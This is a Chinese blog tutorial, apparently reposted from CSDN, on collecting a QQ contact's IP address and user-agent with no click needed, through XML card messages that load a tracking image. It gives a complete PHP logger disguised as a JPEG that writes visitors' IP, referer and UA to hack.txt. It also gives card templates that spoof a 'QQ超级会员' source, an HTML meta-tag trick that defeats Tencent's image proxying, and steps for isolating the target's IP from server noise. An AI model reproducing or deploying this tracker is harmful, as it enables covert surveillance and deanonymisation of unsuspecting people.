无需点击,通过qq的xml卡片自动获取对方ip
鸽了这么久,终于来写这篇文章了,话说回来,这个方法是一个月前就开始用的了,现在才来写, 因为我懒嘛,绝对不是因为我懒哈,是因为之前的方法一直不适合绝大多数用户,今天才发现了每个人都能用的方法。
起因是这样的,某一天我像往常一样刷着qq,突然在之前加的一个qq机器人群发现一个机器人发出这样一张卡片:谁在窥屏。我心想难不成你还真能知道我在窥屏?几秒钟后我傻眼了,该机器人返回了几个ip和浏览器ua信息,其中我的ip和手机型号赫然出现在我的眼前,难以置信,愣了半天后,心里立马冒出了好奇的想法,今天必须把这个原理搞明白,不然我会睡不着觉。经过一番询问老师(百度),明白了这个功能是通过qq加载xml卡片时会自动访问xml卡片中的图片链接,从而获取到正在看聊天记录的ip,正好前几天研究了xml卡片消息,明白原理后立马开始想思路复现。
0x01 php获取ip
因为不是很会php,就到网上找了个找,发现需要用到如下几个函数:getenv('HTTP_CLIENT_IP')
getenv('HTTP_X_FORWARDED_FOR')
getenv('HTTP_X_FORWARDED')
getenv('HTTP_FORWARDED_FOR')
getenv('HTTP_FORWARDED')
以及变量:$_SERVER['REMOTE_ADDR']
$_SERVER['HTTP_REFERER']
$_SERVER['HTTP_USER_AGENT']
开始构造完整代码,首先是在大佬文章中找到的获取真实ip的函数(直接白嫖):
function getIP() {
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR')) {
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED')) {
$ip = getenv('HTTP_FORWARDED');
}
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
如果对方有代理的话$_SERVER['REMOTE_ADDR']
获取到的就会是代理的ip,此函数是为了获取真实ip。
为了更掩人耳目(怎么说得跟谍战似的…),我们还需要用到imagecreatefromjpeg()函数,他的作用是将php文件伪装成图片,构造代码如下:
$im = imagecreatefromjpeg("1.jpg");//这样php返回的图片就会是同目录下的1.jpg。
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
再加上输出获取到的值到外部文件等功能,最终得到的代码为:
<?php
function filter_dangerous_words($str){
$str = str_replace("'", "‘", $str);
$str = str_replace("\"", "“", $str);
$str = str_replace("<", "《", $str);
$str = str_replace(">", "》", $str);
return $str;
}
function getIP() {
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR')) {
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED')) {
$ip = getenv('HTTP_FORWARDED');
}
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip = getIP();
@$referer = $_SERVER['HTTP_REFERER']."\r\n";
$ua = $_SERVER['HTTP_USER_AGENT']."\r\n\r\n";
date_default_timezone_set("Asia/Shanghai");
$date_ = date("Y.m.d,h:i:sa")."\r\n";
$hack = 'date: '.$date_.'ip:'.$ip."\r\n".'referer: '.$referer.'ua: '.$ua;
$hack = filter_dangerous_words($hack);
$op = fopen('hack.txt','a+');
fwrite($op,$hack);
fclose($op);
$im = imagecreatefromjpeg("1.jpg");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
这样核心文件iptest.php就构造完成了。
0x02 发送xml卡片
这里有两种方法,一一给大家说明一下
0x02.1 通过插件
这个方法就是之前说到的不适合大部分人的方法,因为此方法首先需要手机有root权限,其次需要刷入Xposed框架,才能使用模块。当然如果有这些条件就方便多了。
此方法用到的模块:QNotified模块或者QQ复读机模块(目前需收费),下载链接就不写出来了,百度即可。
有了这些东西直接构造xml卡片就行了,我们随便找个浏览器分享网页到qq,长按分享的消息就可以直接复制代码,因为某些xml卡片容易被qq和谐,所以这里提供一个比较稳定的示例代码:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?><msg serviceID="146" templateID="1" action="web" brief="聊天窗预览文字" sourceMsgId="0" url="跳转链接" flag="0" adverSign="0" multiMsgFlag="0"><item layout="2" advertiser_id="0" aid="0"><picture cover="配合iptest.php伪造图片使用,预览图片地址" w="0" h="0" /><title>标题</title><summary>描述</summary></item><source name="QQ超级会员" icon="" action="app" appid="-1" /></msg>
各个需要用到的参数位置都用汉字标明了,自己修改即可,修改完以后粘贴到qq的输入栏,长按发送按钮就能直接转换为xml卡片。
划重点:此方法对电脑端无效,因为电脑端只会加载url.cn网址下的图片链接
0x02.2 直接分享
前面的方法确实比较简单,不过要求太多,这个方法就不需要那么多要求了,不过相对来说比较麻烦。
因为qq分享机制的原因,导致直接分享出去的xml卡片会先将图片地址转换为腾讯的图床,所以探测链接不会生效,后来受某网站( www.location.run )的启发发现了这种方法。
该网站可通过qq内直接分享来获取对方ip,经测试还挺准确的,不过要付费。。。这就很鸡肋了,穷要穷得有志气,我是不会给一分钱的(恼),搞懂他的原理不就得了,事实证明没有这么简单,前几天一直在研究也没想出办法,因为该网站生成的定位链接获取到的html源码只有几个大大的单词:404 Not Found。正当我百思不得其姐的时候qq里的一位大佬给了我提示(大佬用的是小号所以没有留名,不过这里还是感谢大佬了):是因为ua的原因。。。大佬说出这句话的时候我只想给自己一个大大的耳光,我踏马怎么没想到呢,火狐改ua,进入该网站,F12一打开,果然获取到了正确的源码iptest.html:
<head>
<meta itemprop="name" content="xml卡片标题" />
<meta itemprop="description" content="xml卡片描述" />
<meta itemprop="image" content="iptest.php文件链接" />
<title>标题</title>
</head>
划重点:这里需要注意的是,iptest.php文件链接需要在其后带一串无效参数才能正常转换为短链接,例如http://www.test.com/iptest.php?abcdefg 否则qq仍然会把探测链接转为图床链接,至今没有搞懂为什么,不过照做就完了
将源码按照自己的配置修改后,上传服务器即可
0x03 筛选ip
前面说到的两种方法都能确确实实获取到ip没错,不过毕竟是经过了别人家的门,再怎么说也会留下一点痕迹,这里的痕迹就是腾讯服务器的ip,那么怎么筛选出真正的ip呢?
说是筛选,其实也就几个ip,上述两个方法获取到的ip略有不同,下面说一下。
0x03.1
第一种方法获取到的ip,首先第一个会获取到腾讯服务器的ip,无ua值,具体因为什么还不知道,大概是因为聊天记录漫游到云服务器的原因;
然后第二个获取到的ip便是本机的ip,因为本机会最先预览一次,通过iptest.php记录下来的ua值很容易辨别;
排除了这两个ip,剩下一般就是对方的ip了,当然前提是你只发给了目标,因为方法过于强大,无需点击即可获取,不排除会有特殊情况,大家随机应变。
0x03.2
第二种方法获取到的ip就要多一点了,因为经过的步骤比较多。
首先第一个,只要点击了分享方式选择qq,他就会自动先在云端生成一个xml卡片,此时会将iptest.php文件链接转换为腾讯短链url.cn,所以这里获取到的第一个ip是转短链api的服务器的ip,ua:myop/1.0 ;
然后第二个,当你选择了一个好友后会预览xml卡片,让你确认是否发送,此时本机最先预览图片,获取到的是本机的ip;
最后第三个,同上所述为聊天记录漫游服务器的ip;
经过多次反复测试,在某些情况下还会出现一个ua为iPhone的ip地址,非目标ip,暂时还不清楚是为什么,推测也为转短链的服务器ip,一般情况下不会出现:
排除了以上三个ip剩下的即是对方ip。
0x04 测试过程
首先将上述的两个文件上传服务器,加上一张预览用的图片1.jpg,结构如下:
0x04.1 第一种方法
首先编辑xml代码,填上自己上传的地址,输入到发送栏,这里用我自己的服务器和小号备用机做测试
长按发送按钮转成xml卡片消息
此时查看服务器,发现已经生成了记录hack.txt
文件内容为
可以看到获取到了三个ip,没有ua值的是腾讯服务器的ip,第一个是大号本机的ip,第三个则是小号备用机(也就是探测目标的ip)
未经过点击,ip探测成功√
0x04.2 第二种方法
首先qq内打开iptest.html文件链接,点击右上角,此时还未选择分享方式,未获取到ip
点击“好友”,到达选择好友界面,此时云端生成xml卡片,iptest.php文件链接被转换为腾讯短链,获取到了短链服务器的ip
选择好友,确认是否发送,本机预览消息,此时获取到本机ip
点击发送,聊天记录漫游到服务器,此时获取到腾讯服务器ip
小号点开聊天记录,自动读取了xml卡片,此时获取到小号备用机(目标)ip
未经过点击,ip探测成功√
0x05 注意事项
经过了多次测试,终于写出了这篇文章,最后说几个全文的注意事项,划重点了哈!
1.所有的链接都会受到缓存的限制,所以一个iptest.php链接只能对一个目标生效一次,可以通过修改后面的无效参数来更新缓存。
2.上面说明获取顺序的时候,是按步骤顺序写的,实际上获取到的服务器ip记录时间不一定按照顺序记录,但是基本上最后一个就是目标ip,毕竟目标是最后一个收到的嘛,当然也不排除特殊情况,需要随机应变。
3.经过多次测试,发现方法二存在特殊情况,某些时候iptest.html文件链接在qq内打开时会存在该页面本身被缓存的情况,导致iptest.php文件链接不会更新,缓存自然不会更新,所以无法成功获取ip,这种情况下hack.txt不会记录ip,所以比较好判断。可以通过更改iptest.html文件名来更新页面的缓存。
4.记得每一次探测后删除hack.txt文件或改名,以免下一次使用时搞混。
0x06 后记
讲真,在现在这个时代拿到ip并没有什么实际的用处,顶多能够吓吓小白或者在小白面前装装逼,但这里还是要说一句,我只是做一个分享,若因此文章产生了比较重大的问题(虽然不大可能),一切责任自负,与本文作者无关!
本文用到的文件都在我的GitHub里,有什么不懂的大家可以留言问我。
GitHub项目地址:https://github.com/YS-Neko/qq-xml-ip
本文原创,转载请注明出处
原文地址: https://blog.csdn.net/qq_41596969/article/details/110377983
本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
相关文章